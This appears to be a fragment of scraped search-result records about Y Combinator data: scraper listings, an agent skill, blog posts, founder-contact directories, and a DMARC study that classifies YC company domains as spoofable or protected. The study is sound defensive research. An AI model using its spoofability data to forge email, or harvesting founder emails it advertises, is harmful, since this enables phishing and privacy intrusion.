scraper\n\n![Y Combinator \u00b7 YC \u00b7 Only $1\ud83d\udcb0 \u00b7 Jobs & Companies scraper](https://images.apifyusercontent.com/1dCsA32dXqsKjVqSgPXGofYUa8e0ZrnfIVZpyeOdc3Q/rs:fill:250:250/cb:1/aHR0cHM6Ly9hcGlmeS1pbWFnZS11cGxvYWRzLXByb2QuczMudXMtZWFzdC0xLmFtYXpvbmF3cy5jb20vbmduOHZSRVNUa3NleVdFNnAtYWN0b3ItU3JJZmNkcktzNlZKcjdNOFctR1BiRDMwTjBZTC15Yy5qcGc.webp)\n\n# Y Combinator Scraper \u2014 Jobs + Companies + Founders\n\n![Y Combinator Scraper](https://images.apifyusercontent.com/ONVaOYzJDJbBTB_vYeCjM6Db8RZT8u4nBZkgRpEgoG0/w:1800/cb:1/aHR0cHM6Ly9yYXcuZ2l0aHVidXNlcmNvbnRlbnQuY29tL211aGFtZWQtZGlkb3ZpYy9tdWhhbWVkLWRpZG92aWMuZ2l0aHViLmlvL21haW4vYXNzZXRzL3ljLWxvZ28ucG5n.webp)\n\n**Y Combinator data, structured. Jobs, companies, founders, socials \u2014 one actor, no proxy needed for companies.**\n\nScrape both surfaces of `ycombinator.com` from a single Apify actor: **jobs** (Work at a Startup) and **companies** (Startup Directory). Auto-routes any YC URL to the right scraper, or compose a query from filters.\n\n> \ud83d\udcb0 **$1 per 1,000 results \u2014 the cheapest YC scraper on Apify Store.** Pure HTTP for companies (no proxy, no browser), Crawlee + Cheerio for jobs. JSON or CSV out.\n\n## How it works\n\n![How Y Combinator Scraper Works](https://images.apifyusercontent.com/nv2QZP2jXDao6ClwKBwiZGKXMH_y_lflq4GZ-Wr52SY/w:1800/cb:1/aHR0cHM6Ly9yYXcuZ2l0aHVidXNlcmNvbnRlbnQuY29tL211aGFtZWQtZGlkb3ZpYy9tdWhhbWVkLWRpZG92aWMuZ2l0aHViLmlvL21haW4vYXNzZXRzL2hvdy1pdC13b3Jrcy15Yy5wbmc.webp)\n\n---\n\n## \u2728 Why use this scraper?\n\n- **Two surfaces, one actor.** Jobs (Work at a Startup) and Companies (Startup Directory) in the same dataset, distinguishable by row shape (`jobId` vs `slug`).\n- **Companies fetch via YC's public Algolia index** \u2014 no HTML parsing, no proxy required, ~2 s for 100 rows. Clean, structured fields with no scraping artefacts (no leaked alt text, no concatenated values).\n- **Rich output schemas.** ~33 fields per job (salary parsed into min/max/currency, equity, founders with bios, JSON-LD `datePosted`). ~26 fields per company (batch, industries, regions, team size, stage, status, top-company / hiring / nonprofit flags).\n- **Optional founder enrichment** with proper `name` / `title` separation (e.g. `Brian Chesky` / `Founder/CEO`, not split-on-whitespace), plus LinkedIn + Twitter URLs per founder and company-level socials (linkedin, twitter, facebook, crunchbase, github).\n- **Optional open-jobs enrichment** per company, with cleanly separated `title` / `salary` / `location` / `equity` / `experience` fields.\n- **Multi-keyword company discovery** \u2014 pass several keywords; each runs as a separate Algolia search and results merge by company id " }, { "url": "https://www.kaggle.com/datasets/miguelcorraljr/y-combinator-directory", "title": "Y Combinator Directory", "content_head": "Kaggle uses cookies from Google to deliver and enhance the quality of its services and to analyze traffic.\n\n![Something went wrong and this page crashed!](/static/images/error/server-error-illo_light.svg)\n\n###### Something went wrong and this page crashed!\n\nIf the issue persists, it's likely a problem on our side.\n\n```\n Loading CSS chunk 7815 failed.\\n(https://www.kaggle.com/static/assets/7815.e94de944d22d175f.css) Error: Loading CSS chunk 7815 failed.\\n(https://www.kaggle.com/static/assets/7815.e94de944d22d175f.css) at t.onerror.t.onload (https://www.kaggle.com/static/assets/runtime.js?v=a2072f3f89e3da3c:1:12009)\n```" }, { "url": "https://eliteai.tools/agent-skills/yc-reader", "title": "yc-reader - AI Agent skill", "content_head": "Agent skill\n\n# yc-reader\n\nLook up Y Combinator companies, batches, and startup ecosystem data using the yc-oss API (read-only). Use this skill whenever the user wants to research YC-backed startups, find companies in a specific batch or industry, check which YC companies are hiring, explore top YC companies, or analyze startup trends by sector or tag. Triggers include: \"YC companies in fintech\", \"who's in the latest YC batch\", \"YC startups hiring\", \"top Y Combinator companies\", \"find YC companies tagged AI\", \"W25 batch\", \"S24 companies\", \"YC stats\", \"Y Combinator portfolio\", \"startup research\", \"which YC companies do X\", \"venture research on YC\", any mention of Y Combinator, YC batch, or YC-backed companies in the context of startup research, venture analysis, or market intelligence. This is a read-only data source \u2014 the API is a static JSON dataset updated daily.\n\nStars 1,035\n\nForks 101\n\n## Install this agent skill to your Project\n\n`npx add-skill https://github.com/himself65/finance-skills/tree/main/plugins/social-readers/skills/yc-reader`\n\n## SKILL.md\n\n# Y Combinator Reader (Read-Only)\n\nFetches Y Combinator company data from the [yc-oss/api](https://github.com/yc-oss/api), an unofficial open-source API that indexes all publicly launched YC companies. The data is sourced from YC's Algolia search index and updated daily via GitHub Actions.\n\n**This is a read-only data source.** It provides company profiles, batch listings, industry/tag breakdowns, hiring status, and diversity data. No write operations exist \u2014 the API serves static JSON files.\n\n**No authentication required.** The API is public and free. Just use `curl` to fetch JSON endpoints.\n\n---\n\n## Step 1: Verify Prerequisites\n\nThis skill only needs `curl` (to fetch data) and `jq` (to parse/filter JSON). Both are pre-installed on most systems.\n\n```\n !`(command -v curl > /dev/null && echo \"CURL_OK\" || echo \"CURL_MISSING\") && (command -v jq > /dev/null && echo \"JQ_OK\" || echo \"JQ_MISSING\")`\n```\n\nIf `JQ_MISSING`, install it:\n\nbash\n\n```bash\n # macOS brew install jq # Linux (Debian/Ubuntu) sudo apt-get install jq\n```\n\nIf `jq` is unavailable, you can still fetch raw JSON with `curl` and parse it inline with Python or other tools \u2014 but `jq` makes filtering much easier.\n\n---\n\n## Step 2: Identify What the User Needs\n\nMatch the user's request to the appropriate endpoint. See `references/api_reference.md` for full details.\n\n| User Request | Endpoint | Notes |\n|---|---|---|\n| Overall YC stats | `meta.json` | Company count, batch list, industry/tag lists |\n| All companies | `companies/all.json` | Full dataset (~5,700 companies) \u2014 large response |\n| Top companies | `companies/top.json` | ~91 top-performing YC companies |\n| Companies hiring | `companies/hiring.json` | ~1,400 currently hiring |\n| Non-profit companies | `companies/nonprofit.json` | YC-backed non-profits |\n| Diversity data | `companies/black-founded.json`, `hispanic-latino-founded.json`, `women-founded.json` | Founder diversity |\n| Specific batc" }, { "url": "https://apify.com/scrapemint/yc-startup-leads", "title": "Y Combinator Startup Lead Scraper \u00b7 Apify", "content_head": "![Y Combinator Startup Lead Scraper avatar](https://apify.com/img/store/actor_picture.svg)\nY Combinator Startup Lead Scraper\n\n![Y Combinator Startup Lead Scraper](https://apify.com/img/store/actor_picture.svg)\n\nTurn the Y Combinator company directory into a B2B lead list. Filter by keyword, batch, industry, or hiring status and get, for every startup, the company, **website**, a **scraped contact email**, one-liner, industry, team size, location, batch, and hiring flag. One lead per startup.\n\nYC startups are a premium target for B2B vendors, recruiters, and investors. The directory is keyless, and the contact email is scraped from the company website (99% of companies list one).\n\n## Who buys this\n\n- **B2B SaaS** selling to fast-growing startups early.\n- **Recruiters and staffing** (use the hiring filter).\n- **VCs and competitive intel** tracking batches and sectors.\n- **Sales teams** building a curated, funded-company pipeline.\n\n## How it works\n\n1. It loads the YC company directory and filters by your keywords, batches, industries, hiring status, and team size.\n2. It fetches each company website and scrapes a contact email.\n3. Each startup is scored and tiered, then pushed as one lead.\n\n## Output\n\nOne row per startup:\n\n```\n { \"name\" : \"Acme AI\" , \"ycUrl\" : \"https://www.ycombinator.com/companies/acme-ai\" , \"website\" : \"https://acme.ai\" , \"email\" : \"founders@acme.ai\" , \"oneLiner\" : \"AI copilots for logistics\" , \"industry\" : \"B2B\" , \"subindustry\" : \"Engineering, Product and Design\" , \"batch\" : \"Summer 2026\" , \"teamSize\" : 12 , \"location\" : \"San Francisco, CA, USA\" , \"tags\" : [ \"AI\" , \"Logistics\" ] , \"isHiring\" : true , \"topCompany\" : false , \"launchedAt\" : \"2026-04-01\" , \"tier\" : \"qualified_lead\" , \"leadScore\" : 86 }\n```\n\n## Tiers and pricing\n\nPay per lead. The first 10 `qualified_lead` per run are free so you can validate output.\n\n| Tier | Meaning | Price |\n|---|---|---|\n| `listing` | Company data, no website | $0.02 |\n| `lead` | A company website | $0.04 |\n| `qualified_lead` | A scraped contact email and a team of 5+ or currently hiring | $0.08 |\nThe directory is keyless and the website scrape is light, so runs are fast.\n\n## Input\n\nInput\n| Field | Default | Notes |\n|---|---|---|\n| `keywords` | `[]` | Match name, one-liner, description, industry, tags. |\n| `batches` | `[]` | Limit to YC batches (e.g. Summer 2026). |\n| `industries` | `[]` | Match industry or subindustry. |\n| `onlyHiring` | `false` | Keep only companies currently hiring. |\n| `minTeamSize` | `0` | Drop companies below this team size. |\n| `maxLeads` | `200` | Cap total leads per run. |\n| `includeEmail` | `true` | Scrape company websites for a contact email. |\n| `maxEmailLookups` | `100` | Cap how many top leads get the email scrape. |\n\n## Notes\n\n- The directory is a community-maintained mirror that auto-syncs from YC; the company website is present on ~99% of rows and the email is scraped from it (moderate hit rate).\n- Respect applicable outreach laws when contacting companies." }, { "url": "https://thevccorner.com/p/yc-w26-batch-complete-company-database?r=1krivi&triedRedirect=true", "title": "YC W26 Batch: Complete Database of 196 Companies (2026)", "content_head": "[\n![](https://substackcdn.com/image/fetch/$s_!D2Zq!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F42dadf36-503e-4417-8d22-64486c8f131b_2536x1372.png)\n\n](https://www.thevccorner.com/subscribe?coupon=8b9d2609&utm_content=190430896)\n\nYC has funded 100+ billion-dollar companies.\n\nSome of the most notable:\n\n- Stripe \u2014 $159B\n- Airbnb \u2014 ~$75B (public)\n- Coinbase \u2014 ~$50B+ (public)\n- DoorDash \u2014 ~$20B (public)\n- Instacart, Dropbox, Kalshi, Reddit\u2026\n**4.5% of YC startups become unicorns**.\n\nThat\u2019s nearly double the rate of other venture-backed seed companies. 45% go on to raise a Series A. One in four YC unicorns becomes a decacorn.\n\n[\n![](https://substackcdn.com/image/fetch/$s_!A0FR!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F4dbda87d-4772-46eb-b876-b4ea896b64ff_1359x854.png)\n\n](https://www.thevccorner.com/subscribe?coupon=8b9d2609&utm_content=190430896)\n\nThe combined valuation of YC alumni? Over **$600 billion.**\n\nMultiple industry observers have suggested this W26 batch could produce **20 unicorns from 196 companies**. A ~10% hit rate. Well above YC\u2019s historical average.\n\n[\n![](https://substackcdn.com/image/fetch/$s_!amQv!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fcfe65c16-2d99-402c-85e7-2db479e9225d_1180x989.png)\n\n](https://www.thevccorner.com/subscribe?coupon=8b9d2609&utm_content=190430896)\n\nI spent weeks building what I believe is the most comprehensive public database of this batch. **196 companies. 14 data columns each.** Cross-referenced from the official YC directory, Extruct.ai, Hacker News, Best of Show HN, LinkedIn, X, Crunchbase, and individual company sites.\n\nHere are 6 things that jumped out from the data.\n\n### 1. One company is doing $27M ARR. At the seed stage.\n\n**Pocket** shipped 30,000+ hardware units in five months with 50% month-over-month growth. YC confirmed the numbers on X. Series B traction from a batch company.\n\n### 2. The best-funded health startup raised $5.4M from Accel\n\n**Beacon Health** brought in Accel and a Sequoia scout. Co-founded by a Stanford/Harvard physician and an ex-Amazon Alexa engineer. The largest healthcare raise in the batch by a wide margin.\n\n### 3. Two 18-year-olds raised $1.4M before even joining YC\n\n**Synthetic Sciences** (building \u201cClaude Code for Science\u201d) secured $1.4M pre-YC and another $500K from the standard deal. $1.9M total. Among the youngest founders in YC history with that level of pre-program funding.\n\n### 4. Cardinal already has 40+ YC companies as paying customers\n\nTheir founders are 2x YC alumni (S23 and W26). Harvard and MIT CS grads. Selling to your own batch is one of the strongest early traction signals that exists.\n\n### 5. Garry Tan is personally coaching one company\n\n**Captain** (runcaptain.com) is Garry Tan\u2019s personal coaching pick. Direct CEO" }, { "url": "https://apify.com/fatihtahta/y-combinator-directory-scraper?fpr=p2hrc6", "title": "Y Combinator Scraper with Founders & Emails \u00b7 Apify", "content_head": "![Y Combinator Scraper with Founders & Emails avatar](https://images.apifyusercontent.com/QlsHMItIjYGedC0XQqsoUWh8Et4qdMPzc_B72qXDX2s/rs:fill:250:250/cb:1/aHR0cHM6Ly9hcGlmeS1pbWFnZS11cGxvYWRzLXByb2QuczMudXMtZWFzdC0xLmFtYXpvbmF3cy5jb20vdG9aTkxYVnBGajlBNUZjeTMtYWN0b3ItRUw5U0pBNkpPajFybE0wTE4tdTlod0xhVHJGTy1jaGFubmVsczRfcHJvZmlsZS5qcGc.webp)\nY Combinator Scraper with Founders & Emails\n\n![Y Combinator Scraper with Founders & Emails](https://images.apifyusercontent.com/QlsHMItIjYGedC0XQqsoUWh8Et4qdMPzc_B72qXDX2s/rs:fill:250:250/cb:1/aHR0cHM6Ly9hcGlmeS1pbWFnZS11cGxvYWRzLXByb2QuczMudXMtZWFzdC0xLmFtYXpvbmF3cy5jb20vdG9aTkxYVnBGajlBNUZjeTMtYWN0b3ItRUw5U0pBNkpPajFybE0wTE4tdTlod0xhVHJGTy1jaGFubmVsczRfcHJvZmlsZS5qcGc.webp)\n\n# Y Combinator Directory Scraper with Founder Emails\n\n**Slug:** fatihtahta/y-combinator-directory-scraper\n\nThis actor is built upon the [ValidatedMails.com](https://validatedmails.com) architecture for email enrichment workflows.\n\n## Overview\n\nThis actor collects structured Y Combinator company profiles, founder details (including emails), and related public context such as news and jobs when present.\n\nIt captures key company attributes like name, industry, batch, team size, locations, and status, along with social links and founder roles. The data is sourced from [https://www.ycombinator.com/companies](https://www.ycombinator.com/companies), a widely used directory for tracking YC-backed companies and market activity. Results are delivered as consistent JSON records, enabling repeatable analysis and reliable downstream use. The automation saves manual research time while keeping outputs structured and easy to process.\n\nFor broad YC directory searches, the actor automatically partitions large Algolia result sets by batch and subindustry so it can keep collecting beyond the search API's 1000-hit window.\n\n## Why Use This Actor\n\n- **Market research / analytics:** Build datasets of YC companies to analyze batches, industries, locations, and growth patterns.\n- **Product & content teams:** Discover companies by keyword or category to inform content planning and product positioning.\n- **Developers / data engineering pipelines:** Feed structured company records into analytics tools, warehouses, or internal directories.\n- **Lead gen / enrichment:** Identify founders and company context to enrich outreach and qualification workflows.\n- **Monitoring / competitive tracking:** Track changes in hiring status, public/private status, or category coverage over time.\n\n## Input Parameters\n\nProvide any combination of URLs, queries, and filters\u2026\n\n| Parameter | Type | Description | Default |\n|---|---|---|---|\n| `topCompanies` | `boolean` | When enabled, return only YC\u2019s top companies. | \u2013 |\n| `isHiring` | `boolean` | When enabled, return only companies actively hiring. | \u2013 |\n| `nonprofit` | `boolean` | When enabled, return only companies marked as nonprofit. | \u2013 |\n| `queries` | `string[]` | Keywords to discover companies (e.g., product, market, or location). Us" }, { "url": "https://notspoofed.com/research/yc-dmarc-dataset", "title": "Dataset: DMARC Records of 6,122 YC Companies (CSV, CC BY 4.0)", "content_head": "# Dataset: DMARC Posture of 6,122 Y Combinator Companies\n\nThis is the raw data behind [our study of email spoofing exposure across Y Combinator companies](/research/yc-email-spoofing-study). It\u2019s free to download, analyse and republish with attribution.\n\n**[\u2b07 Download yc-dmarc-2026-08.csv](/data/yc-dmarc-2026-08.csv)** \u2014 6,122 rows, ~576 KB, CC BY 4.0\n\n**[\u2b07 Download data-quality-report.txt](/data/yc-dmarc-data-quality-report.txt)** \u2014 the full audit trail: every row excluded, repaired or re-resolved\n\n## What\u2019s in it\n\nOne row per unique company domain.\n\n| Column | Values | Description |\n|---|---|---|\n| `name` | text | Company name as listed in the YC directory |\n| `batch` | e.g. `Winter 2012` | YC batch |\n| `industry` | e.g. `B2B`, `Consumer` | YC\u2019s own industry label |\n| `domain` | e.g. `example.com` | Primary domain, lowercased and de-duplicated |\n| `org_domain` | e.g. `example.com` | Organizational domain (Public Suffix List, private suffixes included). Differs from `domain` on subdomain rows |\n| `spf` | `yes` / `no` | Whether a `v=spf1` TXT record is published |\n| `mx` | `yes` / `no` | Whether the domain publishes MX records (live mail) |\n| `dmarc_policy` | `no-dmarc`, `none`, `quarantine`, `reject`, `lookup-failed` | The effective `p=` value, or absence of a record |\n| `policy_source` | `own record`, `inherited from (sp=)`, `no record`, `unresolved` | Where the policy came from \u2014 see the RFC 7489 note below |\n| `verdict` | `SPOOFABLE`, `PROTECTED`, `UNKNOWN` | Derived classification |\n| `flag` | ``, `subdomain`, `mis-attributed`, `platform-hosted`, `duplicate-domain`, `invalid-domain` | Data-quality flag |\n| `included` | `yes` / `no` | Whether the row counts toward our published statistics |\nThe file has 6,122 rows; **filter to `included=yes`** (6,112 rows) to reproduce our numbers. The 10 excluded rows are kept in the file for transparency rather than silently deleted.\n\n### Classification rules\n\n- `SPOOFABLE` \u2014 no DMARC record, or `p=none`. A forged message showing the domain\u2019s exact `From:` address is delivered.\n- `PROTECTED` \u2014 `p=quarantine` or `p=reject`.\n- `UNKNOWN` \u2014 no authoritative DNS answer after three attempts. 99 rows. Excluded from every percentage we publish; we\u2019d suggest you exclude them too rather than assuming either way.\n\n## Summary of what\u2019s inside\n\nSummary of what\u2019s inside\n| Measure | Value |\n|---|---|\n| Domains scanned | 6,122 |\n| \u2014 excluded (mis-attributed / platform-hosted) | 10 |\n| \u2014 unresolved (`UNKNOWN`) | 99 |\n| Conclusively classified | 6,013 |\n| Spoofable | 3,666 (61.0%) |\n| \u2014 no DMARC record | 1,743 |\n| \u2014 `p=none` | 1,923 |\n| Protected | 2,347 (39.0%) |\n| \u2014 `p=quarantine` | 1,343 |\n| \u2014 `p=reject` | 1,004 |\n| Publishing SPF | 82.2% |\n| Spoofable *and* publishing SPF | 73.1% |\n| Spoofable, live mail (MX) | 58.4% |\n| Spoofable, no live mail | 87.9% |\n\n## How it was collected\n\nPassive public DNS resolution, August 14 2026. For each domain we queried the `_dmarc.` TXT record, the domain\u2019s TXT records (" }, { "url": "https://nanan18679.github.io/yc.html", "title": "Y Combinator Database", "content_head": "This project explores startups funded by Y Combinator by creating a structured SQL database that stores detailed information about each company \u2014 like where they\u2019re based, what industry they\u2019re in, and the backgrounds of their founders. By organizing and analyzing the data using SQL, we aim to answer questions such as: What kinds of founders tend to build successful startups? Are certain industries or locations more likely to produce active companies? The goal is to turn raw data into useful insights that could help investors, researchers, or anyone curious about the startup world better understand what drives success in the YC ecosystem.\n\nThis dataset could benefit several types of users:\n\n- **Venture Capital Firms & Angel Investors** can use the data to spot patterns in successful startups, evaluate founder backgrounds, and identify promising investment opportunities.\n- **Market Research Companies** might use it to track industry trends, produce startup ecosystem reports, and monitor how YC companies have evolved over time.\n- **Large Tech Companies** looking for acquisitions could use the database to discover potential targets based on location, industry, or team composition.\nThe data for this project was sourced from the publicly available Kaggle dataset titled [YCombinator: All Funded Companies](https://www.kaggle.com/datasets/sashakorovkina/ycombinator-all-funded-companies-dataset). The dataset contains detailed information about companies funded by Y Combinator including founders, industries, regions, and prior experience.\n\nBased on the original Kaggle dataset, eight CSV files were consolidated into six core entities through data wrangling in Excel: COMPANY, FOUNDER, REGIONS, INDUSTRY, COMPANY_EXPERIENCE, and SCHOOLS. Each entity represents a real-world concept relevant to the YC startup ecosystem and serves as the foundation of our conceptual schema.\n\nMetadata was developed at both the entity and attribute level. Each table contains details such as attribute names, data types, allowed values, and example entries. This ensures data integrity, consistency, and clarity for SQL querying.\n\nRelationships were mapped based on logical connections between entities. For example, a FOUNDER can attend many SCHOOLS, and each COMPANY belongs to one INDUSTRY. The business rules were formalized to reflect cardinality and data dependencies.\n\n- **For Industry entity:** Each Industry may have multiple Sub_Industries, but a Sub_Industry must belong to exactly one Industry. This rule prevents a Sub_Industry from existing without being associated with an Industry.\n- **For Founder entity:** Each Founder must have a unique HN_ID assigned to them. This rule prevents any registration from inserting a Founder without an HN_ID or with a duplicate HN_ID.\n- **For Company entity:** Each Company must have a unique Company_ID that serves as its identifier. This rule causes any attempt to insert a Company without a Company_ID or with a duplicate Company_ID to be rejected.\n" }, { "url": "https://ycfounderlist.com/year/2026", "title": "YC 2026 Founder Directory \u2014 Every Company & Founder", "content_head": "\ud83c\udf89 LIMITED TIME:33% OFF ALL DATABASESCode: JUNE2026- Use at checkout!\n\n# YC 2026 Founder Directory\n\nEverything we have on Y Combinator's 2026 cohort: 401 companies across 3 batches (P26, S26, W26), 827 founders total, 703 with verified contact data.\n\nLast updated: June 2026\n\n703 verified contacts\n\nCSV + TSV download\n\nAll 3 2026 batches \u00b7 Use code JUNE2026 for 33% off\n\n## All 2026 YC companies\n\n401 companies, alphabetical. Each one's full founder roster is in the 2026 bundle.\n\n10x Science\n\nW26\n\n21st\n\nW26\n\n9 Mothers\n\nP26\n\nAbInitio Bio\n\nP26\n\nAdialante\n\nP26\n\nAdvanced Metal Research\n\nP26\n\nAemon\n\nW26\n\nAgentcard\n\nS26\n\nAgentic Fabriq\n\nW26\n\nAgentPhone\n\nP26\n\nAICE\n\nP26\n\nAkkari\n\nP26\n\nAlchemize\n\nP26\n\nAllowance\n\nP26\n\nAlt-X\n\nW26\n\nAmboras\n\nP26\n\nAndco\n\nP26\n\nAndustry\n\nP26\n\nANORIA\n\nP26\n\nApollo Atomics, Inc.\n\nP26\n\nApproxima\n\nW26\n\nAquaShield\n\nP26\n\nAra\n\nP26\n\nARC Prize Foundation\n\nW26\n\nArchal\n\nS26\n\nArcher\n\nP26\n\nArctic Health\n\nP26\n\nArden\n\nP26\n\nArdent\n\nP26\n\nArga Labs\n\nP26\n\nArlo Industries\n\nP26\n\nArmature\n\nP26\n\nArzana\n\nP26\n\nAsendia AI\n\nP26\n\nAseon Labs\n\nP26\n\nAshr\n\nW26\n\nAsimov\n\nW26\n\nAstraea\n\nP26\n\nAtrisa (formerly Refortifai)\n\nP26\n\nAurorin CAD\n\nW26\n\nAutoSitu\n\nW26\n\nAutostep\n\nP26\n\nAutumn AI\n\nW26\n\nAuxos\n\nP26\n\nAvea Robotics\n\nP26\n\nAvoice\n\nW26\n\nAxionOrbital Space\n\nW26\n\nAxis\n\nW26\n\nBalance\n\nW26\n\nBaseFrame\n\nW26\n\nBeacon Health\n\nW26\n\nBeeSafe AI\n\nW26\n\nBentoLabs AI\n\nP26\n\nBeyond Reach Labs\n\nW26\n\nBidflow\n\nW26\n\nBioStack Platforms\n\nP26\n\nBloom\n\nP26\n\nBooko\n\nW26\n\nBubble Lab\n\nW26\n\nBurt\n\nW26\n\nButton Computer\n\nW26\n\nByteport\n\nW26\n\nCajal\n\nW26\n\nCallab AI\n\nP26\n\nCanary\n\nW26\n\nCaptain\n\nW26\n\nCardboard\n\nW26\n\nCardinal\n\nW26\n\nCare GP\n\nS26\n\nCaretta\n\nW26\n\nCarrot Labs\n\nW26\n\nCarson\n\nW26\n\nCascade\n\nW26\n\nCatchBack Cards\n\nW26\n\nCellType\n\nW26\n\nCentralComs\n\nP26\n\nCerenovus\n\nS26\n\nChamber\n\nW26\n\nCharacterQuilt\n\nP26\n\nChasi\n\nW26\n\nChert\n\nP26\n\nChronicle Labs\n\nP26\n\nCignara\n\nP26\n\nClaimGlide\n\nW26\n\nClara\n\nP26\n\nClawvisor\n\nP26\n\nCodeWisp\n\nW26\n\nCofia\n\nW26\n\nCohesion\n\nP26\n\nComplir\n\nP26\n\nCompresr\n\nW26\n\nCondor Energy\n\nW26\n\nConfluence Labs\n\nW26\n\nCongruent\n\nW26\n\nConstellation Space\n\nW26\n\nContext.dev\n\nS26\n\nControl Seat\n\nS26\n\nCopperlane\n\nW26\n\nCorelayer\n\nW26\n\nCorvera\n\nW26\n\nCrosslayer Labs\n\nW26\n\nCrow\n\nW26\n\nCumulus Labs\n\nW26\n\nDAIVIN!\n\nW26\n\nDatost\n\nP26\n\nDayjob\n\nP26\n\nDeep Interactions\n\nP26\n\nDidit\n\nW26\n\nDispatch\n\nP26\n\nDitto Biosciences\n\nW26\n\nDocura Health\n\nW26\n\nDoomersion\n\nW26\n\nDrafted\n\nP26\n\nDrip\n\nP26\n\nEden Robotics\n\nP26\n\nEigenPal\n\nW26\n\nElyra\n\nP26\n\nEmdash\n\nW26\n\nEnd Close\n\nW26\n\nEnjamb Labs\n\nP26\n\nEnvariant\n\nW26\n\nEos AI\n\nW26\n\nExpanse\n\nP26\n\nFed10\n\nW26\n\nFenrock AI\n\nW26\n\nFern\n\nW26\n\nFinalDose\n\nP26\n\nFixture\n\nW26\n\nflowscope\n\nP26\n\nFoaster\n\nP26\n\nForeman\n\nW26\n\nForesight\n\nP26\n\nFort\n\nW26\n\nForum\n\nW26\n\nFramewise Health\n\nP26\n\nFuchsia\n\nP26\n\nFullSeam\n\nW26\n\nGalactic Resource Utilization Space, Inc. (GRU Space)\n\nW26\n\nGeneral Astronautics\n\nW26\n\nGeneral Aviation\n\nP26\n\nGeneral Instinct\n\nP26\n\nGeneral Legal\n\nW26\n\nGigacatalyst\n\nP26\n\nGlue\n\nW26\n\nGojiberry AI\n\nP26\n\nGovGuard\n\nP26\n\nGrade\n\nW26\n\nGravy\n\nP26\n\nGrazeMate\n\nW26\n\nGUILD\n\nS26\n\nHaladir\n\nW26\n\nHarbor\n\nP26\n\nHedge\n\nP26\n\nHessian\n\nP2" }, { "url": "https://apify.com/scrapegoats/ycombinator-scraper", "title": "[Aug25] Y Combinator Scraper - fast & low cost [DEPRECATED] \u00b7 Apify", "content_head": "![[Aug25] Y Combinator Scraper - fast & low cost avatar](https://images.apifyusercontent.com/HTEYTsP07AkrLZNtmGo98vniDECCEAc78nUs8_yQ3u4/rs:fill:250:250/cb:1/aHR0cHM6Ly9hcGlmeS1pbWFnZS11cGxvYWRzLXByb2QuczMudXMtZWFzdC0xLmFtYXpvbmF3cy5jb20vZVpsVWg3R29xbU1ucVJoMEctYWN0b3ItQjlCNlNieFB1Z20zTXhYUHotZEFUTlM1aHVhUi1DaGF0R1BUX0ltYWdlXzI1X21haV8yMDI1X18xOV81MF81Mi5wbmc.webp)\n[Aug25] Y Combinator Scraper - fast & low cost\n\n![[Aug25] Y Combinator Scraper - fast & low cost](https://images.apifyusercontent.com/HTEYTsP07AkrLZNtmGo98vniDECCEAc78nUs8_yQ3u4/rs:fill:250:250/cb:1/aHR0cHM6Ly9hcGlmeS1pbWFnZS11cGxvYWRzLXByb2QuczMudXMtZWFzdC0xLmFtYXpvbmF3cy5jb20vZVpsVWg3R29xbU1ucVJoMEctYWN0b3ItQjlCNlNieFB1Z20zTXhYUHotZEFUTlM1aHVhUi1DaGF0R1BUX0ltYWdlXzI1X21haV8yMDI1X18xOV81MF81Mi5wbmc.webp)\n\n# \ud83d\ude80 [Fast & Low Cost] Y Combinator Scraper\n\n---\n\nScrape Y Combinator startup data **in seconds**. Filter by **batch, industry, and region**, or scrape **directly from a YC URL**. Perfect for investors, founders, or lead generation specialists looking to scout the ecosystem.\n\n---\n\n## \ud83e\udde0 What It Does\n\nThis scraper collects structured data from Y Combinator startup listings, and outputs a clean, exportable dataset in **CSV or JSON** format \u2014 ready for analysis, automation, and CRM import.\n\n---\n\n## \ud83d\udd27 Inputs\n\n- **Function** (required):\n Select whether you want to scrape using filters or using a URL.\n- **Batch***(optional)*:\n Select from all YC batches from `Summer 2005` to `Spring 2025`.\n- **Industry***(optional)*:\n Choose the startup\u2019s sector: `B2B`, `Fintech`, `Healthcare`, `Education`, etc.\n- **Region***(optional)*:\n Target startups based in `Remote`, `Europe`, `Southeast Asia`, and more.\n- **URL***(optional)*:\n Give a custom link including filters from the Y Combinator website.\n\n---\n\n## \ud83d\udee0\ufe0f How to use\n\nUsing the function input, you can pick **one of two modes**:\n\n### 1. `Extract from filters`\n\nUse dropdown filters (Batch, Industry and Region) to scrape customized results.\n\n**If no filter is selected, all companies will be scrapped (not recommended)**\n\n### 2. `Extract from URL`\n\nPaste a **Y Combinator directory URL** (e.g., [https://www.ycombinator.com/companies?batch=Winter%202025&industry=B2B](https://www.ycombinator.com/companies?batch=Winter%202025&industry=B2B)) to scrape results directly.\n\n> \u2699\ufe0f **Note:** You can automatically configure a **proxy** (custom or Apify's) to rotate IPs and avoid blocks.\n\n---\n\n## \ud83d\udce4 Output Format\n\nYou\u2019ll get structured startup data like this (CSV or JSON):\n\n```\n { \"company_name\" : \"Mentra\" , \"batch\" : \"Winter 2025\" , \"founded\" : \"2024\" , \"location\" : \"San Francisco\" , \"status\" : \"Active\" , \"tags\" : [ \"artificial-intelligence\" , \"hardware\" , \"consumer\" , \"open-source\" , \"ar\" , \"San Francisco\" ] , \"short_description\" : \"Building the open source smart glasses operating system.\" , \"long_description\" : \"Mentra is building the open source operating system for smart glasses. The smart glasses hardware is finally ready, so we're building the OS and app store to p" }, { "url": "https://tessl.io/registry/skills/github/himself65/finance-skills/yc-reader", "title": "Tessl \u2022 The package manager for agent skills", "content_head": "## yc-reader\n\nLook up Y Combinator companies, batches, and startup ecosystem data using the yc-oss API (read-only). Use this skill whenever the user wants to research YC-backed startups, find companies in a specific batch or industry, check which YC companies are hiring, explore top YC companies, or analyze startup trends by sector or tag. Triggers include: \"YC companies in fintech\", \"who's in the latest YC batch\", \"YC startups hiring\", \"top Y Combinator companies\", \"find YC companies tagged AI\", \"W25 batch\", \"S24 companies\", \"YC stats\", \"Y Combinator portfolio\", \"startup research\", \"which YC companies do X\", \"venture research on YC\", any mention of Y Combinator, YC batch, or YC-backed companies in the context of startup research, venture analysis, or market intelligence. This is a read-only data source \u2014 the API is a static JSON dataset updated daily.\n\n75\n\nQuality\n\n93%\n\nDoes it follow best practices?\n\nRun evals on this 